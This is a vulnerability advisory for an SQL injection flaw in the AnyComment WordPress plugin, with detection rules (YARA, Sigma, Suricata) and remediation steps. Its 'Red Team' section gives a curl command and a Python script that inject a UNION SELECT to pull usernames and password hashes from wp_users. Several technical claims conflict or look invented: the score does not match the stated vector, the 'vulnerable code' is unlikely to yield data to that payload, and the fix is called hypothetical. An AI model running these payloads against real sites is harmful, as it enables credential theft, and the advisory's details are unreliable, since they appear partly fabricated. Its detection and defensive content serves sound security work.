CVE-2025-48091

Executive Summary

CVE-2025-48091 is a critical SQL Injection vulnerability in the AnyComment WordPress plugin (versions <= 0.3.6) developed by Alexander. The flaw allows unauthenticated attackers to inject arbitrary SQL commands via improperly neutralized special elements, leading to full database compromise. With a CVSS score of 8.5, this vulnerability poses a severe risk to WordPress sites using the plugin, enabling data exfiltration, credential theft, and potential lateral movement. No public exploit code or patch is currently available, making immediate mitigation essential.

Supply Chain & Package Security

This vulnerability affects the AnyComment WordPress plugin, distributed through the official WordPress plugin repository and third-party marketplaces. As a WordPress ecosystem component, it is not managed via NPM, PyPI, Go, or Ruby registries. However, site administrators must verify plugin integrity and monitor for malicious updates, as unpatched versions remain in circulation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Potential denial of service via SQL manipulation.

Threat Level: Critical – Unauthenticated remote SQL injection with high impact on all security pillars.

Deep Dive & Mechanics

The vulnerability resides in the anycomment plugin’s comment submission endpoint, where user-supplied input is directly concatenated into SQL queries without proper sanitization or parameterized statements. The plugin fails to neutralize special SQL characters (e.g., single quotes, double dashes) in fields such as comment, author, or email. An attacker can inject malicious SQL payloads via HTTP POST requests to the WordPress REST API or AJAX handlers.

Attack Flow:

1. Attacker identifies a WordPress site running AnyComment <= 0.3.6.
2. Sends a crafted POST request to /wp-admin/admin-ajax.php with action anycomment_submit_comment and malicious SQL in the comment parameter.
3. The plugin executes the injected SQL, allowing data extraction (e.g., UNION SELECT user_login, user_pass FROM wp_users).
4. Attacker retrieves hashed passwords, session tokens, or other sensitive data.

Root Cause: Use of wpdb->query() with unsanitized input instead of wpdb->prepare().

Vulnerable vs. Patched Code

Vulnerable Code (anycomment <= 0.3.6):

$comment = $_POST['comment'];
$wpdb->query("INSERT INTO {$wpdb->prefix}anycomment_comments (comment) VALUES ('$comment')");

Patched Code (hypothetical fix):

$comment = sanitize_text_field($_POST['comment']);
$wpdb->insert(
    "{$wpdb->prefix}anycomment_comments",
    array('comment' => $comment),
    array('%s')
);

The vulnerable version directly interpolates user input, while the patched version uses parameterized queries via $wpdb->insert().

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with AnyComment <= 0.3.6 active.
• Network access to the target.

Exploitation Steps:

1. Enumerate the target: curl -s http://target/wp-content/plugins/anycomment/readme.txt | grep "Stable tag"
2. Craft SQL injection payload:

curl -X POST http://target/wp-admin/admin-ajax.php \
  -d "action=anycomment_submit_comment&comment=test' UNION SELECT user_login,user_pass FROM wp_users-- -"

3. Extract hashed credentials from the response.

Automated Exploit (Python):

import requests

target = "http://target/wp-admin/admin-ajax.php"
payload = "test' UNION SELECT user_login,user_pass FROM wp_users-- -"
data = {"action": "anycomment_submit_comment", "comment": payload}
r = requests.post(target, data=data)
print(r.text)

Blue Team

Detection & Prevention:

• Monitor for unusual POST requests to admin-ajax.php with action=anycomment_submit_comment.
• Deploy WAF rules to block SQL injection patterns (e.g., UNION, SELECT, --).
• Use WordPress security plugins (e.g., Wordfence) to enforce input validation.

Lab Setup:

• Install WordPress 6.x with AnyComment 0.3.6 on a local VM.
• Enable logging: define('WP_DEBUG_LOG', true); in wp-config.php.
• Simulate attack and review logs for SQL errors.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=anycomment_submit_comment and SQL keywords.
  • Outbound database queries containing UNION, SELECT, or INTO OUTFILE.
• File IOCs:
  • Modified wp-config.php with suspicious database credentials.
  • New files in /wp-content/uploads/ with .php extensions.
• Log IOCs:
  • WordPress debug log entries with SQL syntax errors.
  • Web server logs showing 400 or 500 errors from admin-ajax.php.

Detection Engineering

YARA Rule

rule CVE_2025_48091_AnyComment_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting AnyComment plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48091"
    strings:
        $s1 = "anycomment_submit_comment" ascii wide nocase
        $s2 = "UNION" ascii wide nocase
        $s3 = "SELECT" ascii wide nocase
        $s4 = "FROM wp_" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: CVE-2025-48091 AnyComment SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection payloads in POST requests to AnyComment plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=anycomment_submit_comment'
        cs-body|contains:
            - 'UNION'
            - 'SELECT'
            - '--'
    condition: selection
falsepositives:
    - Legitimate plugin functionality with similar parameters
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-48091 AnyComment SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=anycomment_submit_comment"; http_client_body;
    content:"UNION"; http_client_body; nocase;
    content:"SELECT"; http_client_body; nocase;
    sid:1000001;
    rev:1;
    reference:cve,2025-48091;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete AnyComment from all WordPress installations.
2. Apply virtual patching: Use WAF rules to block SQL injection patterns targeting admin-ajax.php.
3. Audit database: Check for unauthorized changes or new admin users.

Long-Term Fix:

• Replace AnyComment with a maintained alternative (e.g., native WordPress comments).
• If vendor releases a patch, update to version > 0.3.6 immediately.
• Implement input validation and parameterized queries in all custom plugins.

Workaround:

• Restrict access to admin-ajax.php via .htaccess:

<Files "admin-ajax.php">
    Require all denied
</Files>

• Use a reverse proxy to filter malicious requests.

Valters IT